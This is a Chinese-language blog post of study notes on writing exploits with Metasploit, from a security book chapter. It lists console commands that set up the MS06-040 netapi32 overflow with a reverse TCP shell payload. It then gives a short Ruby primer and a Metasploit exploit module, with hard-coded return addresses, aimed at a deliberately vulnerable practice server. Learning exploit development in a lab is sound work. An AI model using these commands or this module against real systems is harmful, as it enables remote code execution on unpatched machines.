2013年4月9日 星期二

用metasploit開發exploit, 0day安全 第十章

使用ms06-040作為範例,因為netapi32.dll中的NetpwPathCanonicalize()對於字串參數產生堆疊溢出,且此函數可以RPC呼叫。
測試環境 XP SP1 OR 2k sp0-sp4
掃描工具 Nessus
或是查看補丁是否存在 c:\windows\$NtUninstallKB921883
打完補丁後,漏洞文件會位於該目錄
在meatasploit下選用相關exp及shellcode(show exploits, use windows/smb/ms06_040_netapi, info, show target, set target 0, show payloads, set payload windows/shell/reverse_tcp, show options, ...)

10.4 msfpescan 搜尋跳轉指令位址
ruby msfpescan -f c:\windows/system32/kernerl32.dll -j ecx

10.5 簡介Ruby
#hello world
print "hello world\n"

#全局變量
$a=0
b="test\n"
print a
print b

#可轉義字串
a=4
b=7
c="a+b=#{a+b}\n"
print c

單引號中為純字串
字串中使用單引號
'aaa\'bbb', %q{aaa'bbb}, %q/aaa'bbb/, %Q/aaa'bbb/, %/aaa'bbb/

字串相加
a="aaa"
a<<"bbb"
a="ccc"+a
print a

重複字串
a="1234"*4
print a

陣列(大陸譯 數組)
a=[1,'aaa',[2,'bbb']]
print a[0]
print a[2][1]

hash表,類似於陣列,但是使用字串作為索引,不使用數字
a={'good'=>'yoyo','bad'=>'dm'}
print a['good']

函數
def myfun1()
...
end

模塊
moudule xxx
...
end

類別
class
...
end

10.6 exploit開發
使用一個範例作為溢出測試(監聽tcp 7777`,將收到數據console out,超過200 byte產生溢出)
http://dl.dropbox.com/u/43748161/blog/0day%E5%AE%89%E5%85%A8/chapter_10.rar
0f4ba7e32db094ac17ae818759aa4a54
require 'msf/core'
module Msf
class Exploits::Failwest::Test < Msf::Exploit::Remote
#類名第一字母大寫,必須包含路徑,<後面代表繼承
include Exploit::Remote::Tcp


 def initialize(info = {})
#update_info第2個參數為hash
     super(update_info(info,
  'Name'  => 'failwest_test',
  'Platform' => 'win',

  'Targets' => [
     ['Windows 2000',  {'Ret' => 0x77F8948B } ],
     ['Windows XP SP2',{'Ret' => 0x7C914393 } ]
       ],

  'Payload'       => {
     'Space'    => 200,
     'BadChars' => "\x00",
        }

  ))
 end #end of initialize


 def exploit
  connect

#.pack('V')表示將DWORD中的byte反序排列,因為該內容為返回位址  attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded  sock.put(attack_buf)
  handler
  disconnect
 end  #end of exploit def


end #end of class def
end #end of module def


沒有留言:

張貼留言